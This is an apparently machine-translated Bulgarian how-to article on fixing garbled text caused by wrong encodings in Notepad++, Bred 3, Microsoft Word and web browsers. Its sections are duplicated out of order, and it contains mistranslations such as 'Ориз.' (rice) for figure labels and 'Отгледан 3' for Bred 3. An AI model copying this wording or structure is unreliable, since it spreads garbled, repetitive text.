Един от най-добрите тетрадки както за начинаещи, така и за професионалисти. Плюсове: безплатна програма, поддържа руски език, работи много бързо, осветяване на кода, отваряне на всички често срещани файлови формати, огромен брой опции ви позволяват да го персонализирате за себе си.

По отношение на кодировките тук обикновено има пълен ред: има отделен раздел „Кодировки“ (виж фиг. 2). Просто опитайте да промените ANSI на UTF-8 (например).

След промяна на кодирането, текстовият ми документ стана нормален и четим - йероглифите изчезнаха (виж Фиг. 3)!

Официален сайт: http://www.astonshell.ru/freeware/bred3/

Друга страхотна програма, предназначена да замени напълно стандартния бележник в Windows. Освен това "лесно" работи с много кодировки, лесно ги променя, поддържа огромен брой файлови формати, поддържа нова Windows OS (8, 10).

Между другото, Bred 3 помага много при работа със "стари" файлове, записани в MS DOS формати. Когато други програми показват само йероглифи, Bred 3 лесно ги отваря и ви позволява да работите с тях спокойно (вижте фиг. 4).

Ако вместо текст, йероглифи в Microsoft Word

Първото нещо, на което трябва да обърнете внимание, е файловият формат. Факт е, че от Word 2007 се появи нов формат - "docx" (преди беше просто "doc"). Обикновено новите файлови формати не могат да се отварят в „стария“ Word, но понякога се случва тези „нови“ файлове да се отварят в старата програма.

Просто отворете свойствата на файла и след това погледнете раздела "Подробности" (както на фигура 5). Така ще разберете файловия формат (на фиг. 5 - файловият формат е "txt").

Ако файловият формат е docx - и имате стар Word (версия под 2007) - тогава просто актуализирайте Word до 2007 или по-висока (2010, 2013, 2016).

Освен това, когато отваряте файл, обърнете внимание (по подразбиране тази опция винаги е активирана, освен ако, разбира се, нямате „не разбирате кой сбор“) - Word ще ви попита отново: в какво кодиране да отворите файла ( това съобщение се появява с всеки "намек" за проблеми при отваряне на файл, вижте фиг. 5).

Ориз. 6. Word - конвертиране на файлове

Най-често Word автоматично определя необходимото кодиране, но текстът не винаги се чете. Трябва да настроите плъзгача на желаното кодиране, когато текстът стане четим. Понякога трябва буквално да познаете къде е записан файлът, за да го прочетете.

Ориз. 7. Word - файлът е нормален (кодирането е избрано правилно)!

Промяна на кодирането в браузъра

Когато браузърът погрешно определи кодирането на уеб страница, ще видите точно същите йероглифи (вижте Фигура 8).

За да коригирате показването на сайта: променете кодирането. Това става в настройките на браузъра:

1. Google chrome: опции (горе вдясно икона)/разширени опции/кодиране/windows-1251 (или UTF-8);
2. Firefox: ляв бутон ALT (ако имате изключен горен панел), след това изглед на страница / кодиране / изберете желания (най-често Windows-1251 или UTF-8);
3. Opera: Opera (червена икона в горния ляв ъгъл) / страница / кодиране / изберете тази, от която се нуждаете.

По този начин в тази статия бяха анализирани най-честите случаи на появата на йероглифи, свързани с неправилно дефинирано кодиране. Използвайки горните методи, можете да разрешите всички основни проблеми с неправилно кодиране.

Добър ден.

Вероятно всеки потребител на компютър се е сблъсквал с подобен проблем: отваряте уеб страница или документ на Microsoft Word - и вместо текст виждате йероглифи (различни "пукнатини", непознати букви, цифри и т.н. (както на снимката вляво). ...)).

Е, ако този документ (с йероглифи) не е особено важен за вас, но ако трябва да го прочетете?! Доста често ми задават подобни въпроси и молби за помощ при откриването на такива текстове. В тази кратка статия искам да разгледам най-популярните причини за появата на йероглифи (разбира се, и да ги премахна).

Йероглифи в текстови файлове (.txt)

Най-популярният въпрос. Факт е, че текстов файл (обикновено във формат txt, но те също са формати: php, css, информация и т.н.) може да бъде записан в различни кодировки.

Кодиране- това е набор от знаци, необходими, за да се осигури пълно писане на текст на определена азбука (включително цифри и специални знаци). Повече подробности за това тук: https://en.wikipedia.org/wiki/CharacterSet

Най-често се случва едно нещо: документът просто се отваря в грешно кодиране, което причинява объркване и вместо кода на някои знаци ще бъдат извикани други. На екрана се появяват различни неразбираеми знаци (виж фиг. 1) ...

Ориз. 1. Notepad - проблем с кодирането

Как да се справим с него?

Според мен най-добрият вариант е да инсталирате усъвършенстван бележник, като Notepad++ или Bred 3. Нека разгледаме по-подробно всеки от тях.

Notepad++

Един от най-добрите тетрадки както за начинаещи, така и за професионалисти. Плюсове: безплатна програма, поддържа руски език, работи много бързо, осветяване на кода, отваряне на всички често срещани файлови формати, огромен брой опции ви позволяват да го персонализирате за себе си.

По отношение на кодировките тук обикновено има пълен ред: има отделен раздел „Кодировки“ (виж фиг. 2). Просто опитайте да промените ANSI на UTF-8 (например).

След промяна на кодирането, текстовият ми документ стана нормален и четим - йероглифите изчезнаха (виж Фиг. 3)!

Ориз. 3. Текстът стана четим... Notepad++

Отгледан 3

Друга страхотна програма, предназначена да замени напълно стандартния бележник в Windows. Освен това "лесно" работи с много кодировки, лесно ги променя, поддържа огромен брой файлови формати, поддържа нова Windows OS (8, 10).

Между другото, Bred 3 помага много при работа със "стари" файлове, записани в MS DOS формати. Когато други програми показват само йероглифи, Bred 3 лесно ги отваря и ви позволява да работите с тях спокойно (вижте фиг. 4).

Ако вместо текст, йероглифи в Microsoft Word

Първото нещо, на което трябва да обърнете внимание, е файловият формат. Факт е, че започвайки с Word 2007, се появи нов формат - “ docx"(Преди беше просто" doc«). Обикновено новите файлови формати не могат да се отварят в „стария“ Word, но понякога се случва тези „нови“ файлове да се отварят в старата програма.

Просто отворете свойствата на файла и след това погледнете раздела Подробности (както на фигура 5). Така ще разберете файловия формат (на фиг. 5 - файловият формат е “txt”).

Ако файловият формат е docx - и имате стар Word (версия под 2007) - тогава просто актуализирайте Word до 2007 или по-висока (2010, 2013, 2016).

Следва при отваряне на файла Забележка(по подразбиране тази опция винаги е активирана, освен ако, разбира се, нямате „не разбирате коя сборка“) - Word ще ви попита отново: в какво кодиране да отворите файла (това съобщение се появява с всеки „намек“ за проблеми при отваряне на файл, вижте фиг. 5).

Ориз. 6. Word - конвертиране на файлове

Най-често Word автоматично определя необходимото кодиране, но текстът не винаги се чете. Трябва да настроите плъзгача на желаното кодиране, когато текстът стане четим. Понякога трябва буквално да познаете къде е записан файлът, за да го прочетете.

Ориз. 8. браузърът откри грешно кодиране

За да коригирате показването на сайта: променете кодирането. Това става в настройките на браузъра:

1. Google Chrome: опции (икона в горния десен ъгъл) / разширени опции / кодиране / Windows-1251 (или UTF-8);
2. Firefox: ляв бутон ALT (ако имате изключен горен панел), след това изглед на страница / кодиране / изберете желания (най-често Windows-1251 или UTF-8);
3. опера: Opera (червена икона в горния ляв ъгъл) / страница / кодиране / изберете тази, от която се нуждаете.

PS

По този начин в тази статия бяха анализирани най-честите случаи на появата на йероглифи, свързани с неправилно дефинирано кодиране. Използвайки горните методи, можете да разрешите всички основни проблеми с неправилно кодиране.

Ще съм благодарен за допълнения по темата. късмет 🙂